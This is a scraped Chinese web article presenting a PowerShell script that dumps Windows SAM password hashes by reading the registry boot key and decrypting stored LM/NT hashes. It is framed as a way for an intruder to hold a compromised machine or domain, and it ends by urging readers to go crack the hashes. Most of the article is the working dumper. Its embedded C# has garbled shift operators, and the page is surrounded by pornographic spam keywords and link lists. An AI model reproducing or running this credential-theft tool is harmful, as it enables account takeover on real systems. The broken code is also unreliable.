婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PowerShell小技巧之獲取Windows系統密碼Hash

PowerShell小技巧之獲取Windows系統密碼Hash

熱門標簽:雷霆電話機器人電話 金融電銷公司怎么辦理外呼系統 電話智能外呼系統誠信合作 真人和電話機器人對話 什么渠道可以找外呼系統客戶 湖州電銷防封卡 使用電話機器人電銷是否違法 安徽400電話辦理 信陽話務外呼系統怎么收費

當你拿到了系統控制權之后如何才能更長的時間內控制已經拿到這臺機器呢?作為白帽子,已經在對手防線上撕開一個口子,如果你需要進一步擴大戰果,你首先需要做的就是潛伏下來,收集更多的信息便于你判斷,便于有更大的收獲。用什么方法才能有盡可能高的權限,同時能更有效的隱藏自己,是留webshell,留后門,種木馬還是Rootkit?webshell,哪怕是一句話木馬都很容易被管理員清除,放了木馬,也容易被有經驗的管理員查出,不管是早期自己創建進程,進程被干掉就完了,還是注入進程的木馬,或者是以服務自啟動的木馬,哪怕是替換次要的系統服務自己啟動的木馬,隱蔽性都太差了。不管后門留的如何完美,木馬免殺做的多好,最終還是做不到不留任何痕跡。

那什么方法才能達到目的,又不容易被發現呢?以管理員的身份來管理服務器不就行了么?不管管理員是用3389、pcanywhere、還是radmin管理服務器,獲取他的密碼,以他的身份進入系統不就得了,如果是域管理員密碼,整個域都會在你的控制之下了。獲取密碼的方法除了網絡嗅探,還可以獲取密碼Hash后通過彩虹表進行攻擊,本文將會介紹通過PowerShell獲取Windows系統密碼Hash的方法,有何密碼Hash就離拿到密碼不遠了。

首先介紹一下windows密碼Hash:

早期SMB協議在網絡上傳輸明文口令。后來出現"LAN Manager Challenge/Response"驗證機制,簡稱LM,它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰/響應驗證機制,稱之為NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。Windows加密過的密碼口令,我們稱之為hash(中文:哈希),Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。

NTLM-Hash與LM-Hash算法相比,明文口令大小寫敏感,但無法根據NTLM-Hash判斷原始明文口令是否小于8字節,擺脫了魔術字符串"KGS!@#$%"。MD4是真正的單向哈希函數,窮舉做為數據源出現的明文,難度較大。問題在于,微軟一味強調NTLM-Hash的強度高,卻避而不談一個事實,為了保持向后兼容性,NTLM-Hash缺省總是與LM-Hash一起使用的。這意味著NTLM-Hash強調再高也是無助于安全的,相反潛在損害著安全性。增加NTLM-Hash后,首先利用LM-Hash的弱點窮舉出原始明文口令的大小寫不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。

Windows系統下的hash密碼格式為:用戶名稱:RID:LM-HASH值:NT-HASH值,例如:

Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示
用戶名稱為:Administrator
RID為:500
LM-HASH值為:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值為:683020925C5D8569C23AA724774CE6CC

如果你知道這個用戶的hash密碼了,拿著C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在線查詢網站http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密碼。

下面直接上代碼,然后對代碼簡單做一個解釋,最后演示一下執行效果。

復制代碼 代碼如下:

function Get-WinPassHashes
{
# Author:fuhj(powershell#live.cn ,http://fuhaijun.com) 
    # Get windows password hash and returns the hash list
    #.Example
    #   Get-WinPassHashes
    #
    #>

    [CmdletBinding()]
    Param ()
function LoadApi
{
    $oldErrorAction = $global:ErrorActionPreference;
    $global:ErrorActionPreference = "SilentlyContinue";
    $test = [PowerDump.Native];
    $global:ErrorActionPreference = $oldErrorAction;
    if ($test)
    {
        # already loaded
        return;
     }

$code = @'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
     public static extern int RegOpenKeyEx(
        int hKey,
        string subKey,
        int ulOptions,
        int samDesired,
        out int hkResult);

    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
    extern public static int RegEnumKeyEx(
        int hkey,
        int index,
        StringBuilder lpName,
        ref int lpcbName,
        int reserved,
        StringBuilder lpClass,
        ref int lpcbClass,
        out long lpftLastWriteTime);

    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static int RegQueryInfoKey(
        int hkey,
        StringBuilder lpClass,
        ref int lpcbClass,
        int lpReserved,
        out int lpcSubKeys,
        out int lpcbMaxSubKeyLen,
        out int lpcbMaxClassLen,
        out int lpcValues,
        out int lpcbMaxValueNameLen,
        out int lpcbMaxValueLen,
        out int lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(
        int hKey);

        }
    } // end namespace PowerDump

    public class Shift {
        public static int   Right(int x,   int count) { return x >> count; }
        public static uint  Right(uint x,  int count) { return x >> count; }
        public static long  Right(long x,  int count) { return x >> count; }
        public static ulong Right(ulong x, int count) { return x >> count; }
        public static int    Left(int x,   int count) { return x count; }
        public static uint   Left(uint x,  int count) { return x count; }
        public static long   Left(long x,  int count) { return x count; }
        public static ulong  Left(ulong x, int count) { return x count; }
    }
'@

   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
   $dllName = [PsObject].Assembly.Location
   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
   $assemblies = @("System.dll", $dllName)
   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
   $compilerParameters.GenerateInMemory = $true
   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
   if($compilerResults.Errors.Count -gt 0) {
     $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
   }

}

$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

function sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
    return ,((str_to_key $s1),(str_to_key $s2));
}

function str_to_key($s)
{
    $key = @();
    $key += [Shift]::Right([int]($s[0]), 1 );
    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
    $key += $([int]($s[6]) -band 0x7F);
    0..7 | %{
        $key[$_] = [Shift]::Left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
    return ,$key;
}

function NewRC4([byte[]]$key)
{
    return new-object Object |
    Add-Member NoteProperty key $key -PassThru |
    Add-Member NoteProperty S $null -PassThru |
    Add-Member ScriptMethod init {
        if (-not $this.S)
        {
            [byte[]]$this.S = 0..255;
            0..255 | % -begin{[long]$j=0;}{
                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
                }
        }
    } -PassThru |
    Add-Member ScriptMethod "encrypt" {
        $data = $args[0];
        $this.init();
        $outbuf = new-object byte[] $($data.Length);
        $S2 = $this.S[0..$this.S.Length];
        0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
            $i = ($i+1) % $S2.Length;
            $j = ($j + $S2[$i]) % $S2.Length;
            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
            $a = $data[$_];
            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
            $outbuf[$_] = ($a -bxor $b);
        }
        return ,$outbuf;
    } -PassThru
}

function des_encrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $true)
}

function des_decrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $false)
}

function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
    $des.Padding = [Security.Cryptography.PaddingMode]::None;
    $des.Key = $key;
    $des.IV = $key;
    $transform = $null;
    if ($doEncrypt) {$transform = $des.CreateEncryptor();}
    else{$transform = $des.CreateDecryptor();}
    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
    return ,$result;
}

function Get-RegKeyClass([string]$key, [string]$subkey)
{
    switch ($Key) {
        "HKCR" { $nKey = 0x80000000} #HK Classes Root
        "HKCU" { $nKey = 0x80000001} #HK Current User
        "HKLM" { $nKey = 0x80000002} #HK Local Machine
        "HKU"  { $nKey = 0x80000003} #HK Users
        "HKCC" { $nKey = 0x80000005} #HK Current Config
        default {
            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
        }
    }
    $KEYQUERYVALUE = 0x1;
    $KEYREAD = 0x19;
    $KEYALLACCESS = 0x3F;
    $result = "";
    [int]$hkey=0
    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
    {
        $classVal = New-Object Text.Stringbuilder 1024
        [int]$len = 1024
        if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
            [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
        {
            $result = $classVal.ToString()
        }
        else
        {
            Write-Error "RegQueryInfoKey failed";
        }
        [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
    }
    else
    {
        Write-Error "Cannot open key";
    }
    return $result;
}

function Get-BootKey
{
    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
    $b = new-object byte[] $($s.Length/2);
    0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
    $b2 = new-object byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
    return ,$b2;
}

function Get-HBootKey
{
    param([byte[]]$bootkey);
    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@%`0");
    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
    if (-not $k) {return $null}
    [byte[]]$F = $k.GetValue("F");
    if (-not $F) {return $null}
    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
    $rc4 = NewRC4 $rc4key;
    return ,($rc4.encrypt($F[0x80..0x9F]));
}

function Get-UserName([byte[]]$V)
{
    if (-not $V) {return $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}

function Get-UserHashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
    if ($u.HashOffset + 0x28 -lt $u.V.Length)
    {
        $lm_hash_offset = $u.HashOffset + 4;
        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
    {
        $nt_hash_offset = $u.HashOffset + 8;
        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
    # LM Hash
    if ($enc_lm_hash)
    {
        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
    }

    # NT Hash
    if ($enc_nt_hash)
    {
        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
    }

    return ,($lmhash,$nthash)
}

function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [Security.Cryptography.MD5]::Create();
    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
    $rc4 = NewRC4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
    return ,$hash;
}

function Get-UserKeys
{
    ls HKLM:\SAM\SAM\Domains\Account\Users |
        where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
            Add-Member AliasProperty KeyName PSChildName -PassThru |
            Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
            Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}

function DumpHashes
{
    LoadApi
    $bootkey = Get-BootKey;
    $hbootKey = Get-HBootKey $bootkey;
    Get-UserKeys | %{
        $hashes = Get-UserHashes $_ $hBootKey;
        "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
            [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
            [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
    }
}
DumpHashes
}

代碼中定義的函數Get-WinPassHashes中定義了多個函數,在函數的最后調用DumpHashes作為入口函數。
運行效果如下所示

拿著hash速速破解密碼去吧^_^

您可能感興趣的文章:
  • PowerShell腳本 隨機密碼生成器(ps隨機密碼生成器)
  • PowerShell批量修改AD用戶密碼屬性的代碼
  • PowerShell中實現混淆密碼示例
  • Powershell讀取PFX證書并輸入密碼的腳本分享
  • PowerShell生成隨機密碼的方法
  • Powershell生成Windows密碼算法簡單學習
  • PowerShell 腳本中的密碼保存的方法

標簽:濟南 湛江 鶴崗 山南 岳陽 德州 運城 六盤水

巨人網絡通訊聲明:本文標題《PowerShell小技巧之獲取Windows系統密碼Hash》,本文關鍵詞  PowerShell,小,技巧,之,獲取,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PowerShell小技巧之獲取Windows系統密碼Hash》相關的同類信息!
  • 本頁收集關于PowerShell小技巧之獲取Windows系統密碼Hash的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    亚洲永久精品国产| 午夜精品福利一区二区三区av| 中文av一区特黄| 久久99精品国产麻豆不卡| 欧美猛男超大videosgay| 欧美久久久久久久久中文字幕| 国产欧美日韩麻豆91| 麻豆国产欧美日韩综合精品二区 | 日本国产一区二区| 亚洲精品中文字幕在线观看| 色婷婷激情综合| 中文字幕一区在线| 欧美在线观看视频一区二区| 亚洲va在线va天堂| 欧美日韩精品一区二区三区| 日韩激情视频在线观看| 日韩一区二区三区四区| 久久国产精品色婷婷| 日本一区二区三区国色天香| 成人v精品蜜桃久久一区| 亚洲激情第一区| 91精品国产综合久久久久久久久久| 久久99久久99精品免视看婷婷 | 国产精品理论在线观看| 成人小视频在线| 亚洲三级免费观看| 欧美一级欧美一级在线播放| 最新热久久免费视频| 欧美视频一区二区三区在线观看| 日韩电影一区二区三区四区| 久久香蕉国产线看观看99| 色妹子一区二区| 久草中文综合在线| 久久久精品2019中文字幕之3| 成人网男人的天堂| 香蕉久久夜色精品国产使用方法 | 久久99国内精品| 亚洲免费三区一区二区| 91精品国产综合久久香蕉的特点| 成人免费高清视频| 天天影视色香欲综合网老头| 中文字幕第一区| 91国模大尺度私拍在线视频| 麻豆视频观看网址久久| 亚洲青青青在线视频| 一区二区三区91| 日韩精品一区在线观看| 国产成人在线网站| 视频在线观看一区| 亚洲精品国产第一综合99久久 | 国产精品国产三级国产aⅴ入口 | 在线观看免费亚洲| 成人黄色777网| 国产精品色哟哟| 欧美v日韩v国产v| 欧美在线观看一区二区| jvid福利写真一区二区三区| 亚洲欧美色图小说| 日韩精品一区国产麻豆| 自拍偷拍欧美精品| 国产精品久久影院| 久久精品一区二区三区不卡牛牛| 7777精品伊人久久久大香线蕉的| 91网站在线播放| 丰满放荡岳乱妇91ww| 精品一区二区三区免费视频| 免费在线观看一区二区三区| 亚洲午夜久久久久中文字幕久| 国产精品国产三级国产普通话三级 | 国产精品乱子久久久久| 精品对白一区国产伦| 欧美一区二区二区| 欧美一a一片一级一片| 色欧美88888久久久久久影院| 成人a免费在线看| 国产传媒欧美日韩成人| 国产在线一区观看| 美女诱惑一区二区| 蜜臀av性久久久久蜜臀aⅴ流畅 | 91麻豆国产自产在线观看| 成人99免费视频| av不卡免费电影| 成人一区二区三区在线观看| www.日韩大片| 国产a视频精品免费观看| 国产欧美日韩综合| 色综合天天性综合| 91极品美女在线| 欧美午夜精品一区| 欧美猛男男办公室激情| 日韩一区二区精品| wwww国产精品欧美| 欧美国产禁国产网站cc| 国产精品国产三级国产aⅴ中文| 亚洲免费在线电影| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 亚洲视频一区在线| 最新热久久免费视频| 一区二区三区资源| 日本不卡123| 国产精品66部| 欧美伊人久久久久久午夜久久久久| 欧美亚一区二区| 日韩欧美一级在线播放| 久久综合九色综合97婷婷女人| 国产精品久久久久久久裸模| 亚洲视频 欧洲视频| 首页欧美精品中文字幕| 亚洲国产日韩a在线播放| 国产性天天综合网| 成人av中文字幕| 5566中文字幕一区二区电影| 久久免费看少妇高潮| 亚洲午夜在线观看视频在线| 激情综合色综合久久| 91在线视频播放地址| 欧美videos中文字幕| 国产精品国产三级国产a| 日韩av电影天堂| av资源站一区| 欧美va在线播放| 自拍偷拍国产亚洲| 欧美aⅴ一区二区三区视频| 一本一道久久a久久精品 | 午夜国产不卡在线观看视频| 91精品欧美久久久久久动漫| 国产自产v一区二区三区c| 欧美精彩视频一区二区三区| 色av一区二区| 美女视频一区二区| 国产精品伦理一区二区| 3d动漫精品啪啪一区二区竹菊| 国产一区二区三区精品视频| 国产精品嫩草99a| 欧美日韩国产另类不卡| 国产风韵犹存在线视精品| 亚洲综合丝袜美腿| 国产亚洲欧美日韩俺去了| 92精品国产成人观看免费| 日韩不卡一二三区| 中文字幕中文字幕在线一区| 91精品国产麻豆| 色哟哟欧美精品| 国产毛片一区二区| 婷婷丁香激情综合| 中文字幕在线观看不卡| 日韩欧美一区中文| 91国内精品野花午夜精品| 国产成人免费av在线| 久久精品国产成人一区二区三区| 亚洲精品视频在线看| 国产精品久99| 久久久三级国产网站| 欧美日韩一级片网站| 99久久99久久精品免费观看| 极品尤物av久久免费看| 日本欧美肥老太交大片| 亚洲欧美视频一区| 国产精品国产三级国产普通话蜜臀| 欧美成人video| 欧美三级中文字幕| 成人动漫中文字幕| 国产盗摄一区二区三区| 激情亚洲综合在线| 成人午夜激情在线| 久久精品72免费观看| 婷婷开心久久网| 亚洲h在线观看| 亚洲超碰精品一区二区| 一区二区在线看| 中文字幕综合网| 中文字幕一区二区5566日韩| 国产午夜精品美女毛片视频| 国产午夜精品一区二区三区四区| 精品久久一二三区| 久久网站热最新地址| 久久蜜桃av一区二区天堂| 久久久综合视频| 国产欧美一区二区精品忘忧草| 国产欧美日韩在线| 欧美极品aⅴ影院| 国产精品美女久久久久久久久 | 国产精品伦理一区二区| 国产精品污污网站在线观看| 久久蜜桃一区二区| 国产精品午夜在线| 夜夜揉揉日日人人青青一国产精品| 一区二区三区美女视频| 亚洲成人午夜影院| 麻豆精品在线看| 国产黄人亚洲片| 成人av集中营| 欧美亚洲免费在线一区| 欧美一区二区在线免费播放| 日韩天堂在线观看| 久久精品网站免费观看| 国产精品第一页第二页第三页| 亚洲天堂2014| 日韩中文欧美在线| 蜜桃久久av一区|